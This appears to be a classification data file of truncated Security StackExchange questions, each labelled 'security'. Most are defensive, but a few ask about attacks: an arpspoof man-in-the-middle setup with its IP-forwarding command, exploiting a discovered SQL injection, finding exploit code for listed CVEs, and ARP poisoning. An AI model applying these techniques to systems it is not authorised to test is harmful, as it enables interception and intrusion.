same, but not 100% sure. UPDATE: My mistake for not clearly stating the it would be assumed the keys per-file, or for a whole volume, would be the exact same -- not to mention ... ",['security'] "Title: Vulnerabilities and Threats to Non Web Based Windows Applications Body: I believe that most people here are familiar with OWASP and their Top 10 project. When it comes to information systems these days it appears that there is a big focus on web application security and ... ",['security'] "Title: Is it harmful to redirect web bugs to localhost on hosts file? Body: I was checking the article hosts file on Wikipedia, and I found this: Blocking access to servers of unwanted content by redirecting them to the local host (127.0.0.1) may have security ... ",['security'] "Title: Access point fingerprinting Body: Does someone know of a project or a way to ""fingerprint"" an access point (a router)? Fingerprinting should be done irrespective of broadcastet BSSID and ESSID. BSSID and ESSIS may be included in the ... ",['security'] "Title: Effects of DDoS attacks on memory use under Linux Body: Can someone whose Linux system is under DDoS attacks give me exact data on the effects of the Low Orbit Ion Cannon (LOIC), the High Orbit Ion Cannon (HOIC), Slowloris, PyLoris, Hping etc. on memory ... ",['security'] "Title: How can I tell if a DNSSec zone is protected using NSEC3 (versus NSEC) Body: This answer describes how DNSSec might permit ""Zone walking""... where a bad guy can extract all the DNS records from a DNSSec enabled zone. NSEC3 is an update that prevents this. (See bottom of this ... ",['security'] "Title: question about implicitly tags in ASN.1 Body: From the X.509 RFC, in the ""Implicitly Tagged Module"" section: CRLDistributionPoints ::= SEQUENCE SIZE (1..MAX) OF DistributionPoint DistributionPoint ::= SEQUENCE { distributionPoint [0] ... ",['security'] "Title: What are prudent security precautions to take for business travel by people with access to sensitive info? Body: The New York Times had a front-page article today: Traveling Light in a Time of Digital Thievery, aka ""Electronic Security a Worry in an Age of Digital Espionage"". Former director of US national ... ",['security'] "Title: Should I mount my mac Truecrypt Volume elsewhere? Body: I've read in various places to not mount your truecrypt volume in the same place as your Dropbox or Sugarsync folder. I believe this only matter for Mac/Linux, but I need some verification. On a Mac, ... ",['security'] "Title: What Twitter #hashtags apply to IT Security Body: I'm trying to search twitter for evidence of near-realtime alerts or updates regarding security issues. What hashtags are common or popular in the IT Security world? ",['security'] "Title: Open Problems in Security? Body: I know it might seem a bit too much theoretical, but I was wondering if there was some list of known open problems in security? In a similar way that there are open problems in Theoretical Computer ... ",['security'] "Title: What are some recommended open source tools for web browser history analysis? Body: I'm looking at a series web browser histories from various browsers (IE, Chrome, Firefox, etc) and need to do some analysis. All of these browsers store data much differently, but I was wondering if ... ",['security'] "Title: Getting a Root CA accepted in systems and browsers Body: I would like to ask about the procedures for a given CA to get one of its root CAs (SSL issuance CA) to get accepted and installed as a trusted root CA in operating systems and browsers. ",['security'] "Title: Securely expose WebService from Enterprise Network to Internet Client Body: (coming from stackoverflow) Are there any standards (or certified solutions) to expose a (Web-)Service to the internet from a very security-sensitive network (e.g. Banking/Finance)? I am not ... ",['security'] "Title: Does client certificate authentication demand more server-side entropy? Body: We have a secure web service running Apache that requires client certificates for access. This service has a problem with running out of entropy. We have several other sites that use TLS that get ... ",['security'] "Title: Does installing Apache on my local machine create new security risks? Body: I am developing a small LAMP online app, and so far I have been doing all the development online. I am considering installing Apache/PHP/MySQL on my Ubuntu machine to be able to develop locally as ... ",['security'] "Title: TimThumb security alternative or fix? Body: ""An image resizing utility called timthumb.php is widely used by many WordPress themes....The utility only does a partial match on hostnames allowing hackers to upload and execute arbitrary PHP code ... ",['security'] "Title: What is a simplest “Crash an application” demonstration to get access to a system? Body: For a presentation (10-15 mins) purpose what is the simplest demonstration of ""crashing an application"" on a machine can be done. ",['security'] "Title: Dealing with systems that store/send passwords in plain-text [duplicate] Body: Possible Duplicate: What to do about websites that store plain text passwords When using a system as it was designed to be used, and the system provides proof that it is storing and/or ... ",['security'] "Title: Keyloggers on Smartphones? Body: I need to clarify my question. I'm wondering if there are any apps for smartphone that can log each 'keystroke' (i.e. key pressed on touchscreen) that a user does. Performing a google search brings up ... ",['security'] "Title: How to get site's 'real' URL (before being rewritten) Body: If a site uses .htaccess file to rewrite the URL for e.g. better SEO. Is it possible to find out what is the ""real"" URL? ",['security'] "Title: Should user be allowed to save password in browser? Body: The auditing company found a bug ""The Auto-complete form attribute is set in password field"". They suggested to disable autocomplete for this field to prevent disclosure of it ""when working on shared ... ",['security'] "Title: CSRF prevention in PHP Body: Two questions. Where does one download the PHP version of OWASP's CSRF Guard? The following URL says to check Git: https://www.owasp.org/index.php/PHP_CSRF_Guard All I see on Git however is ... ",['security'] "Title: Should a pentest report include the tester's opinion? Body: In this particular case, the webserver turned out to be a shared 3rd party system and was not tested. Examples: We do express grave concern at the overall security posture of that webserver and ... ",['security'] "Title: Revisting the Username Hash Body: There are a few questions which ask for inputs on the wisdom of storing (possibly salted) username hashes for the purpose of authenticating end user access to some information resource. Most of the ... ",['security'] "Title: Is this a symptom of an attack (DoS/DDoS)? Body: I work for an e-commerce website in my country and this is the second time we suffer an attack. At least, looks like one. We have a search functionality in our website and the supposed attacker is ... ",['security'] "Title: Intercept Connections Instead of Forwarding (using arpspoof) Body: I am doing ARP Spoof experimentation with arpspoof and have successfully set up a man in the middle between two machines. We set up IP Forwarding using: echo 1 > /proc/sys/net/ipv4/ip_forward ... ",['security'] "Title: How to encrypt a password stored in a database (need to decrypt later) Body: I am working on a system that can connect to any number of different systems. Someone inputs the credentials for a system to connect to, and my system remembers the credentials and uses them to ... ",['security'] "Title: Design of a state machine model to solve conflict of interest in Computer Security Body: I need to design a state machine model to solve conflict of interest in computer security. [I know Chinese wall model but it is an information flow model] Are there any such existing models? Any ... ",['security'] "Title: Is viewing applied group policy on a client PC not considered a minor security breach? Body: A client on a company can run commands and view the Group Policy settings applied to his own account and computer. The commands are: gpresult (and all of its variants) rsop.msc In my opinion, ... ",['security'] "Title: What due diligence is required for HTTPModules that run within IIS? Body: I noticed some HTTP Handlers in my Web.config that appear to intercept HTTP traffic and manipulate it. Since there has already been an exploit with a similar component produced by Microsoft, what ... ",['security'] "Title: Robots.txt security strategy? Body: Is there a way to basically have an allow all policy on your top level domain, and any subdomains disallow all? I would rather that my public facing app servers not get indexed, but from what I can ... ",['security'] "Title: DRY API Authentication Design Between Services Body: I am creating an API service that is going to require authentication. this will be the first part of a project that will include a front-end service for my website, and also open up the api for 3rd ... ",['security'] "Title: Is it possible to have stateless server nonces in HTTP Digest Body: When implementing a HTTP Digest server, there's the issue of nonces. Server nonces (as opposed to client nonces) must be issued by the server may be re-used by clients as long as the server allows ... ",['security'] "Title: Can I determine if my computer has a key logger installed? Body: A friend of mine just started a job at a security sensitive company. They've provided him with a laptop with Windows XP Professional installed. He's heard a rumor from other employees that the laptops ... ",['security'] "Title: Something causing Sonicwall to throw Smurf Amplification Attack Warning? Body: I set up a new laptop recently and, after installing various developer tools, it started causing our Sonicwall firewalls to issue an alert email whenever the laptop connected to the network. The ... ",['security'] "Title: Why do some websites force users to come up with difficult passwords? Body: I can't understand why we commonly force users to come up with difficult to remember passwords. * Your password must contain at least one number, one uppercase character, and one special ... ",['security'] "Title: If a hacker were to compromise a GMail database Body: Assuming the systems that store the Gmail database is compromised what is preventing them from reading everyone's emails by looking at the data in the database? I assume nothing, and in order for ... ",['security'] "Title: Bcrypt as a key derivation function? Body: I read a lot of entries at stack exchange about bcrypt and why it is supposed to be better than PBKDF2 in terms of password storage. I'm asking now if bcrypt is better than PBKDF2 in terms of key ... ",['security'] "Title: What is SQL injection? Body: What is the meaning of SQL injection? I am not able to understand the term. And what problems may be caused by SQL injection? ",['security'] "Title: How do I check the code of a Chrome extension to make sure it's not stealing my info? Body: I've been reading more and more about just how much access browser extensions can have to your data. This is a little unsettling, so I'm curious if there is a way to Vet these extensions and make sure ... ",['security'] "Title: Is Chinese great firewall white or black list based? [closed] Body: Is a new website blocked by default in China ? I just put online a new website dedicated to chinese people (a working days calculator in China, nothing subversive indeed). However a friend of a ... ",['security'] "Title: Base64 conversion for byte array in encryption Body: I am using ECC algorithm for security. Now the concern is I am placing the data in web page after encryption of the data in hex format and transmit to server and then it decrypts the data, but when I ... ",['security'] "Title: openssl_digest vs hash vs hash_hmac? Difference between SALT & HMAC? Body: openssl_digest vs hash vs hash_hmac I want to use SHA512 for storing password. Which of the above methods are best to use? Why? What is the difference between SALT & HMAC? I just read ... ",['security'] "Title: Protecting emails in your database Body: It's common to encrypt passwords in the database, but I'm wondering what solutions are out there to protect emails in your database. Not just from hacking, but from disgruntled employees or engineers ... ",['security'] "Title: Do spaces in a passphrase really add any more security/entropy? Body: I often see passphrase suggestions written as a sentence, with spaces. In that format are they more susceptible to a dictionary attack because each word is on it's own as opposed to a large unbroken ... ",['security'] "Title: Is there a way to use multiple firewalls / antivirus for penetration testing? Body: I don't really know how to do either, but I was wondering if it was possible to have multiple firewalls / virus scanners installed at once, and use a 3rd party program to specify which one is running ... ",['security'] "Title: Is 90 day expiration for unique URL too long? Body: A web application I've been developing has a new use case that has me searching for something easier than username/password authentication. Current users don't sign up for the service themselves ... ",['security'] "Title: Are there any reviews or user experiences with Secretsync? Body: I haven't been able to find much in the way of professional reviews for Secretsync - http://getsecretsync.com/ss/ But i'm wondering how it compares to Boxcryptor and Truecrypt. How secure is ... ",['security'] "Title: Could mint.com be more secure, and if so, how? Body: After reading a bit about mint.com on the money stack exchange, I wanted to give it a try. But frankly, it scares me a little bit. The site has a bunch of links explaining how they're so secure. I ... ",['security'] "Title: HTTP + HTTPS + One Time Pad/stream cipher Body: I'm designing a web application where users will exchange short messages with the server very frequently (for instance, a few characters every second). I want the whole communication to be ... ",['security'] "Title: What to consider in an SLA to ensure secure software when outsourcing software development? Body: To ensure secure development in the off shore team what are considerations to be taken into account in the SLA? I got this as a reference: ... ",['security'] "Title: VPS security best practice Body: I've just signed up for a linux VPS to host a website I've been creating and I need some advice on the best approach to secure it. I've previously been hosting it off a VM in the house, but I want to ... ",['security'] "Title: Security Engineers - What Do They Do? Body: I'm starting my MS in Computer Science (I hold a BS currently) soon and I'm considering specializing in cyber security. I'll be taking courses such as cryptography, biometrics, network security, ... ",['security'] "Title: Is BitLocker on a virtual machine still FIPS 140-2 compliant? Body: BitLocker can be used as a cryptographic module to fulfill FIPS 140-2 security level 1 compliance. In a common setup, USB thumb drives can be used to unlock drives encrypted by BitLocker on startup. ... ",['security'] "Title: Exchanging private keys Body: I would like to understand something about security. Say two parties have a private piece of data (e.g. a password or license key) and the receiver needs to know that the sender has the same key and ... ",['security'] "Title: Is it a security risk to remind users of the password requirements at login? Body: I regularly find myself trying to login to websites where I don't remember the password I use. I make some guesses as to what I might have used but usually wind up having to reset it. One thing that ... ",['security'] "Title: Security concerns from publicly visible Hudson & Jenkins servers? Body: A friend's start-up has implemented a number of business critical services on a Hudson/Jenkins server run on a Tomcat container. This is not an open-source project, in fact many aspects of this ... ",['security'] "Title: Can one get infected through visiting a site with a PHP script on it and if yes, how? Body: I can imagine a clientside JavaScript that gets executed in a vulnerable browser to do some harm, but how can this be done with PHP? Since it's serverside it shouldn't have access to the visitor's ... ",['security'] "Title: Sniffing IMAPS traffic! Are there any tools for this? Body: I've got a problem where someone has implemented a custom IMAP Server. I need to write a custom application to get a list of emails, and fetch messages. Problem is, every library I've tried to use ... ",['security'] "Title: Does OtR require than IM applications remember multiple keys per contact? [closed] Body: I noticed the Guardian Project has developed a converter to move your off-the-record messaging keys between different IM applications. I'm curious what happens if your using multiple off-the-record ... ",['security'] "Title: CIS vs CS for Information Systems Security? Body: I would like to know which degree out of these two would better prepare me for Information Systems Security. I want to eventually work with the CIA as a Information Systems security specialist however ... ",['security'] "Title: General purpose slow/unique hash routine for dup checking of private data, without storing the data itself? Body: I am wondering if there is a percentage of uniqueness known to be lost with every repeat of various hash routines, like MD5, SHA1, and how that might compare with other algorithms. If theoretically I ... ",['security'] "Title: Storing Credit Card Numbers Body: I'll be making a website with a membership type of option for the website, and I'll be most likely using Authorize.Net to make the transactions, however, I need to know what kind of encryption I can ... ",['security'] "Title: How to know all the Connected devices to my Access Point including Phones [closed] Body: I need to list all the connected devices in my AP wireless network including mobile phones, also if it possible to know more information about each device, I am using Windows 7 and my access point is ... ",['security'] "Title: How to prevent cheating (extra votes) in online contests? Body: Mitigating Cheating & Voter Fraud in Online Contests… We run online contests of various sorts that involve users voting on entries (usually one vote per user per day). The prizes range from ... ",['security'] "Title: Can SMS text messages be used to verify a person's unique identity through a short code system? Body: We run online contests and want to eradicate cheating (yeah right), or at least mitigate it. I've asked the question regarding user experience here: ... ",['security'] "Title: Can it be proved that two CDs were burned by different computers? Body: A friend of mine made a personal data CD. Days later he found a copy elsewhere. He wants to prove the copy didn't come from his computer, but that someone took the CD and copied it from another ... ",['security'] "Title: How bad is a source code leak for an antivirus? Body: I was reading that Symantec suffered a source code leak and I was wondering how bad this is for a anti-virus product. Do these products rely heavily upon ""(in)Security Through Obscurity"" or does it ... ",['security'] "Title: anti-CSRF tokens in HTTPS environment Body: Does it really make sense to use anti-CSRF tokens in a web application that is accessed by HTTPS only? If yes, then what are the possible ways to attack such a web application if anti-CSRF tokens are ... ",['security'] "Title: Can Cookies Without the Secure Flag be Stolen, even when only accessed via HTTPS? Body: Is it possible to capture the cookies used by HTTPS site when cookies don't have secure flag set. Suppose the site is https://www.example.com. http://www.example.com does not show up, also ... ",['security'] "Title: Are there actually any advantages to Android full-disk encryption? Body: So, since Android 3, devices can perform boot-time, on-the-fly encryption/decryption of the application storage area (NOT the SDcard/removable storage) - essentially full-disk encryption. This ... ",['security'] "Title: Is a password protected PDF file safe for bank statement attachments? Body: My bank emails my monthly statement to me in a password protected PDF attachment. Is this a secure method of transmitting something as sensitive as bank statement? ",['security'] "Title: Is there a difference between a VTI and a regular VPN tunneling process? Body: Is there a difference between a VTI (Virtual Tunnel Interface) and a regular VPN tunneling process? Or have I got the whole concept wrong? ",['security'] "Title: How do I choose whether to trust a particular website? Body: From @GrahamLee's comment over on this question, this is a very good point: How do I choose whether to trust a particular website when the only information I have relevant to my trust decision is the ... ",['security'] "Title: Does Bitlocker qualify as the 'Cryptographic Module' defined in FIPS140-2? Body: Wikipedia defines Bitlocker as: BitLocker Drive Encryption is a full disk encryption feature included with the Ultimate and Enterprise editions of Microsoft's Windows Vista and Windows 7 ... ",['security'] "Title: Is it possible for a virus or unknown program to automatically start up a webcam Body: How can I secure my computer more, knowing these days that there are many websites, especially ones where you don't have to even click before a virus is downloaded straight to your hard-drive. I ... ",['security'] "Title: Understanding VPNs : How VPNs can be used for anonymization? Body: Previously, I asked the question Why is it difficult to catch “Anonymous” or “Lulzsec” (groups)? I understood every answer except the VPN thing. Its because I never knew what VPNs were. Any how that ... ",['security'] "Title: Thoughts on creating unscalable conditions to brute force even small passwords? Body: I stumbled upon something called ""scrypt"" which claims to add fixed time/space complexity requirements into password-based key derivation. Quoting from their page: A simple password-based encryption ... ",['security'] "Title: User Account Notification under Windows useful at all? Body: IMHO the 'screen dimming'-and-displaying-of-warning-window feature (?) in Windows is extremely annoying, since I routinely run software that does require the permission to modify a lot of things. I ... ",['security'] "Title: sniffing/recording GSM 3G signals Body: Is it possible to sniff or record and process GSM 3G signals (from some reciever) given that there is no other signals interrupting etc (the most comfortable conditions) Update (with some supporting ... ",['security'] "Title: Where can I download vulnerable Windows OS images to practice penetration testing? Body: My objective is to learn and practice all the vulnerabilities and their exploitation on vulnerable OS. ",['security'] "Title: How is a ddos simulation any different from a real attack? Body: I asked a question earlier today on serverfault, but found out that there was also a security stack exchange. I had conflicting answers from there. The following is the link: ... ",['security'] "Title: Methods of accessing CRLs Body: I'm creating custom certificates with CDP Definitions with the option of configuring several methods of accessing the CRL. My options are HTTP, LDAP, and FTP. What are best practices or should I say ... ",['security'] "Title: Can a dictionary attack crack a Diceware passphrase? Body: Everyone knows the words used in Diceware passwords (all 6^5 = 7776 words are published) -- they're all common words. Everyone seems to know that we're not supposed to use dictionary words for ... ",['security'] "Title: Secure one-time-use credit cards Body: I've been reading a lot about one-time-use online credit card numbers (e.g. https://www.discover.com/credit-cards/member-benefits/security/create-online-account-number.html#) but I have to admit that ... ",['security'] "Title: Online virus scanning service with remote file submission? Body: I have some links that contain hacking tool and whatnot and I want to pass them to a virus scanning service. The thing is that I don't want to download them to my pc and upload them to their service, ... ",['security'] "Title: Security while connecting to a mysql databse using pdo Body: I looked at this question: What is the right way of storing database connection strings from the security point of view? and I'm wondering specifically for connecting to a mysql databse with PDO, how ... ",['security'] "Title: What are formal parameters for fingerprint scanner selection? Body: I would like to buy a USB fingerprint scanner. I intend to use it to log in into my Windows computer, to secure RoboForm password manager, and generally to replace password entry with a quick finger ... ",['security'] "Title: Does marketing data trigger HIPAA Privacy? Body: If I was a marketing firm who provides an analysis on visitor statistics from anonymous members who then ties that in to a CRM to track conversions, what do I have to do to the data to ensure that ... ",['security'] "Title: How secure is Windows Auto-Logon? Body: Obviously, if auto-logon is enabled, anyone who can gain physical access to the PC can use the PC. That's not the question. The question is, when I enable auto-logon for my Windows 7 box, will there ... ",['security'] "Title: Setting up a honeypot Body: I have a spare computer lying around at my house, so I decided to turn it into a honeypot. So far, I have installed Windows XP (no service pack) on it and have set up rules on my router to forward ... ",['security'] "Title: Is Teredo in my router a back door? Body: I use the school computer, which I bought from school, administered by the IT-department. I opened a port to my computer when I stumbled upon this: It points to my computer IP. (I have a static IP ... ",['security'] "Title: How to exploit this SQL inection vulnerability? Body: I am learning SQL injection on a vulnerable Web App. I scanned it with w3af. It showed many vulnerabilities. One of them is : SQL injection in a Microsoft SQL database was found at: ... ",['security'] "Title: Chrome vs Explorer - how to explain in plain words that open-source is better? Body: Why open-source is better in plain words? Yesterday I had a talk at a DIY bicycle workshop. There is a PC (running XP) that main application is checking emails (nothing really serious). I found it ... ",['security'] "Title: Explaining security vs. performace to a non-tech superior Body: I was tasked to implement some sort of password-based encoding/decoding in an android app by my non-tech SO. He also showed me this list of android security providers. Naturally, He chose the one with ... ",['security'] "Title: Protecting yourself against DNS spoofing? Body: Are there any things which the user can do, on their own machine, to protect against DNS spoofing? I was just thinking when I was at the airport last and I wanted to check my email I used a hotspot ... ",['security'] "Title: Is strip_tags() horribly unsafe? Body: I always use strip_tags to prevent XSS attacks, but today I saw a post which was telling it's horribly unsafe. As the manual says, it doesn't check for malformed HTML! Is it true? What can I do to ... ",['security'] "Title: iOS/Android Pen-Test Body: This question might be vague, that is because I am not sure where to start. There are a lot of books and courses on pentest focusing on networks, systems, and OS such as windows, yet I haven't been ... ",['security'] "Title: Using “canaries” to detect intrusion? Body: I haven't read much about such a technique, but I'm wondering if there's any sort of best practice around the use of ""canaries"" to detect certain types of intrusion: Create a bogus account that ... ",['security'] "Title: How can I find out who owns a block of IPs? Body: I'm currently going through the logs on my apache install for potential intrustions, and I'm finding a lot of hits for SQL injections and exploit testing, from 173.212.195.* . I'm now trying to find ... ",['security'] "Title: Designing and managing a captive portal Body: I'd like to learn more about how a captive portal works, especially the management system regarding usage, security monitoring, billing, security architecture etc. Does anybody know any good ... ",['security'] "Title: Can I use a private key as a public key and vice versa? Body: I have code to encrypt data using a public key and decrypt it using a private key. This is useful when a client wants to send data to a server and know that only the server can decrypt it. But say I ... ",['security'] "Title: Are there any instant messaging systems that offer resistance to traffic analysis? [closed] Body: I'm happily using off-the-record messaging now, but I'd enjoy exploring more traffic analysis resistant options? It appears the most visible ones like Tor chat are rather stagnant, or at least don't ... ",['security'] "Title: Android for the Paranoid Body: In the case of a rooted phone, what are the various options to stay anonymous and keep your data secure? I've seen the guys at The Guardian Project work towards this: ... ",['security'] "Title: Videos and visual tutorials on Format String Vulnerabilities Body: Anyone know of good format string vulnerability tutorials/videos that demo how to test on a web app, such as modifying the URL. I've watched Vivek's videos from securitytube and another from ... ",['security'] "Title: What makes the Blackberry device and network more secure? Body: One of Blackberry's strongest assets is the ""network"" that it uses. Can someone explain, or link to technical information that covers what this secure network is, and what it does better than the ... ",['security'] "Title: Active measures against lost or stolen PDAs in healthcare? Body: Many physicians, nurses, and technical staff like to carry PDAs to be kept abreast of patient conditions. Various companies want caretakers to view ECGs on their iPads. Due to the incredibly private ... ",['security'] "Title: Multibyte character exploits - PHP/MySQL Body: Could someone please point me to a link with some information on multibyte character exploits for MySQL? A friend brought them to my attention, but I've not been able to find much information on the ... ",['security'] "Title: Can an unprivileged process in a hardware-virtualized system cause a `VMExit` without cooperation from the kernel? Body: For SVM or VT-x, the set of conditions which trigger a vmexit to the virtual machine monitor is pretty complex. Can an unprivileged process trigger any of these without assistance from the kernel? ... ",['security'] "Title: Killing IP connections who “spam” with requests Body: How can I go about killing IP connections that seem to be sending a lot of requests to the same url? Let's say I have someone who requests the same url for more than 10 times in 5 seconds, I want to ... ",['security'] "Title: Best way to secure javascript front end/REST back end architecture web site? Body: I would like to build the following project: public REST API back end which can be accessed by any authenticated client. front end with static files in HTML/CSS/Javascript with Backbone.js jQuery ... ",['security'] "Title: Keeping user data private in a cloud environment like Google App Engine Body: I am writing an open-source Java application for Google App Engine (GAE). The application will let users create content that is intended to be private. I want to provide reasonable assurances that ... ",['security'] "Title: Time server security error Body: Today at work, we brought out some PCs that were not used for a long time (were not in use when I joined this company so I have no idea about their history). After booting one of them (Windows XP ... ",['security'] "Title: Is accessing bank account on the internet really secure? Body: Before I ask my question, I would like to make sure that I understand the settings correctly. So, the given: A client, using some web browser (firefox, for instance) - the Client The bank server - ... ",['security'] "Title: Secure PXE network OS installation Body: How can one make sure that when PXE is being used to boot a remote operating system, that the data being sent is encrypted (or at the very least that integrity is maintained)? Would it be possible to ... ",['security'] "Title: Sniffing the sniffer Body: A sniffs B while B is sniffing C. What's the traffic in A? Does A catches both B and C traffic or only B's? ",['security'] "Title: Should user input be validated for it's length? Body: Is it bad not to validate length of user input to text field at server side. May it lead to such vulnerabilities as buffer overflows and other? I think it depends on programming language of ... ",['security'] "Title: Any additional security with large blacklisting hosts file? Body: I run Windows with a pretty hefty c:/windows/system32/drivers/etc/hosts file obtained from http://winhelp2002.mvps.org/hosts.htm. I update this file as regularly as I remember and layer it with ... ",['security'] "Title: Best protection against a “chosen-ciphertext” attack? Body: What is the best protection against a ""chosen-ciphertext"" attack when transmitting (=streaming) secured (=crypted) data via networks using the TCP protocol? ",['security'] "Title: Website file being altered Body: I have recently had random spam links inserted into 3 ASP.NET websites. The links are inserted into the physical file so it is not SQL injection attack. The websites have very little in common other ... ",['security'] "Title: Proper way to obtain CA certs for verification Body: I want to securely connect to an API, but I'm not sure how I should obtain the CA cert for the verification step. I've seen some people get the certs using e.g.: openssl s_client -connect ... ",['security'] "Title: Would a large prime service be useful? Body: The target users would be portable/embedded devices or resource limited code (i.e. javascript). The idea being that the devices could poll the service for validated primes and use them for encryption ... ",['security'] "Title: Are powerline ethernet adapters inherently secure? Body: I have 2 Zyxel PLA407 powerline adapters. Router is downstairs connected to one adapter, other adapter is upstairs about 30 feet away connected to a desktop. I have a house, not an apartment or ... ",['security'] "Title: Is it possible to not store passwords locally, at all? Body: Earlier this year I was playing around on the schools computers and found out the administrative password to a computer in my classroom. I realized how XP stored their passwords, booted into Ubuntu, ... ",['security'] "Title: Index page has been compromised, suspicious files are showing up Body: My website has been hacked lately and it has been defaced. Now I have weird files, don't know where they coming from. I just want to know, what of these files are harmful or can cause that I get ... ",['security'] "Title: Is it possible to verify a PGP-signed and encrypted message without decrypting it? Body: Let's assume I have a PGP message and I want to know who sent it, is it possible to do it if I have the RSA encrypted message, two possible senders (and their public keys that they signed and ... ",['security'] "Title: passphrases - lowercase and dictionary words Body: Amid all the discussion about password length vs. complexity (summarized by the famous xkcd strip and the followup dicussion) I am trying to make up my mind about passphrases made up with dictionnary ... ",['security'] "Title: Cloud computing: future security challenges and solutions Body: I am currently writing a paper on the future security challenges of Cloud Computing, and possible solutions to these problems. After many hours of reading articles on the internet (my nearby library ... ",['security'] "Title: Is it safe to transfer Facebook access token via TCP? Body: Is it safe to transfer Facebook access token via TCP? What is the worst that can happen if someone gets the token? ",['security'] "Title: What information is exposed by simply opening an RDP connection to the internet? Body: Microsoft, Rackspace and other hosted providers allows people to RDP into that server. Here are a few examples: Microsoft has something called ""Azure Connect"" it is very easy to expose a domain ... ",['security'] "Title: Security of login-data saved in browsers Body: Most browsers provide an option to save login-data for later use. Suppose a Windows workstation is located in a well-protected corporate LAN and only a well-defined set of application can be launched ... ",['security'] "Title: what is the Akamai Name Server i see at some big companies Body: I have played with DNS a lot lately, and i have found that some big companies's web sites uses the Akamai NS as the Name Server for thier WWW servers, for example: $>nslookup > www.redhat.com ... ",['security'] "Title: WORM media types Body: Why types of media are Write Once Read Many (WORM) other than CD-R, and DVD-R, say, something in the 100GB range? Are there such devices? What would it take to read them? Are the devices like this ... ",['security'] "Title: Is there a way to sniff packets of a remote IP address? Body: I would like to know if sniffing packets of a remote IP address is possibole at all, if yes i would like to know : what is the success rate, i mean by that how much percent of the packets you would ... ",['security'] "Title: How can I convert my encypted PGP secret key for use performing SSH authentication? Body: I wish to covert my PGP key (RSA) to be used performing SSH authentication. After some searching, I found openpgp2ssh, which appears to be an appropriate tool. Everything works swimmingly for my ... ",['security'] "Title: Safe harbor in USA, EU, and Russia Body: I am doing research on Google's Blogger service and its privacy protection features. They say that Google complies with the U.S.-EU Safe Harbor Framework and the U.S.-Swiss Safe Harbor Framework. I've ... ",['security'] "Title: Archive encrypted traffic, for later decryption attempts? Body: I am concerned about sending long-term sensitive information over SSL. Someone who does not have the private key could record SSL traffic (with WireShark, Fiddler or some such) and store it for ... ",['security'] "Title: Security testing on network Body: A group of student have been asked to do a bit of network security testing at college. Basically the college have just invested in some android tablets, more macs and more net books. The IT admins ... ",['security'] "Title: What data should I validate when validating X.509 certificates using Java? Body: Well I began with PKI a year ago with RFID system at school. Now I'm asked to implement this in my job. I understand most part of the idea. The doubt is about the certificate validation. I know it ... ",['security'] "Title: Mysql - two-way encryption of sensitive data (email addresses) outside of Apache, PHP and MySQL Body: We store user email addresses in our database, like many other websites. While we do take pride in the security measures in place, sometimes ""just enough"" is just not enough. We've begun looking into ... ",['security'] "Title: Is this type of ARP poisoning attack possible? Body: I am wondering if it is possible to paralyze a network by sending out a bunch of fake ARP response packets. Some basis: I recently read a moderately detailed description of how ARP and ARP poisoning ... ",['security'] "Title: Chrome reports on other browsers running Body: I was playing around with Chrome and typed the following in the address bar: chrome://memory-redirect And saw the note: ""If other browsers (e.g. IE, Firefox, Safari) are running, I'll show you ... ",['security'] "Title: Security evaluation: what is there apart from common criteria? Body: ACME makes a product that is used in some security-sensitive applications. There are no particular security regulations or industry standards in the domain of this product. ACME's business arm would ... ",['security'] "Title: how to protect my USB stick from Viruses Body: I repair a lot of computers with viruses, malware, and what not, and I have one problem that I am struggling to find a solution for. Whenever I connect my USB stick that has the tools I need for the ... ",['security'] "Title: How can I keep my identity anonymous as a website owner/administrator? Body: My question looks touchy, but I'll do my best to explain. You see, I live in country where democratic rules are quite, well, delusive. In theory, there is freedom of speech, democratic elections and ... ",['security'] "Title: HITECH : New United States Federal Act on Data Security Body: Has anyone heard of the new HITECH Federal Act? I understand that it is an underscore of the HIPAA Federal Act but am unclear of the requirements that they are requesting. It targets companies that ... ",['security'] "Title: On-line cryptographically signed date/time? Body: I’m looking for a source of on-line cryptographically signed date/time. I do not need a full timestamp service, as I am happy with the information « date/time was that », without a link to a ... ",['security'] "Title: What lawful interception standards are used outside Europe? Body: In Europe European Telecommunications Standards Institute (ETSI) define the standard requirements to handle a lawful interception. It's define all from the terminology and definition to the ... ",['security'] "Title: Automated encryption detection Body: Is there any program that, given a cipher text, it would tell me what the encryption algorithm is? What if I have the plain text? Is there something that can be done in that case? ",['security'] "Title: Are open ports dangerous? Body: I have forwarded port 80 to WAMPServer and 25565 to the MineCraft-server running Bukkit. (http://www.bukkit.org/) Am I vulnerable to attacks. Can hackers attack me if WAMP-server is running or if it ... ",['security'] "Title: How could one detect if Apple/Google/etc. has modified a third party application distributed through their App Stores? Body: Are there any realistic methods for verifying that Apple or whoever has not tampered with third party application distributed through their App Store? You might for example have an open source ... ",['security'] "Title: Why are website certificates secure? Body: I understand how HTTPS connections work, and I also understand they they require a certificate to know that the secure connection you have is with the right server (and not someone pretending to be ... ",['security'] "Title: Where can I find exploit code? Body: I am doing VA/PT on a sample web application. I run the nessus scanner and I found some high severity problems. It is related to HP System Management Homepage. The CVE numbers are: 2010-1917, ... ",['security'] "Title: Does symmetric encryption provide data integrity? Body: Let's say I have one server that encrypts a file with a symmetric key, e.g. AES-CBC, and sends it to clients that decrypt it. Does that provide data integrity when decrypted? Or is it possible for ... ",['security'] "Title: Two generals' agreement Body: I am trying to figure an agreement protocol on an unreliable channel. Basically two parties (A and B) have to agree to do something, so it's the two generals' problem. Since there is no bullet-proof ... ",['security'] "Title: What risk does Carrier IQ pose, exactly? Body: There has been a lot of discussion about Carrier IQ, monitoring software that is pre-installed on many Android phones. Many allegations have been thrown out. My questions: What exactly does Carrier ... ",['security'] "Title: Yahoo! Messenger injection attack Body: Just five minutes ago I had an injection attack through Yahoo! Messenger. The only visible effect was the change of my status message. I also got a dialog message saying that a script cannot continue ... ",['security'] "Title: How does one make password easily forgettable? Body: Is there any phycological research that appears relevant to making passwords easily forgettable under adverse circumstances? Circumstances might include when under duress, after some duration of ... ",['security'] "Title: How to roll my own security mechanism - avoid SSL Body: i'm looking at implementing my own security mechanism rather than using ssl due to ssl being 'hopelessly broken' http://www.theregister.co.uk/2011/04/11/state_of_ssl_analysis/ and also because it is ... ",['security'] "Title: How to test a physical machine? Body: In two weeks time, I will have to test a couple of computers that a client would like to provide to its employees. The main concern is making sure that the employees won't be able to use those ... ",['security'] "Title: ssh public/private key pair Body: I am having problems understanding how ssh really works. I know it uses a public key cryptography to encrypt messages. However, I can ssh to a server without first generating a public/private key pair ... ",['security'] "Title: How is a worm different from a virus? Body: In spite of various online articles, I'm a bit unclear on the distinction between a ""worm"" and a ""virus"". Two related 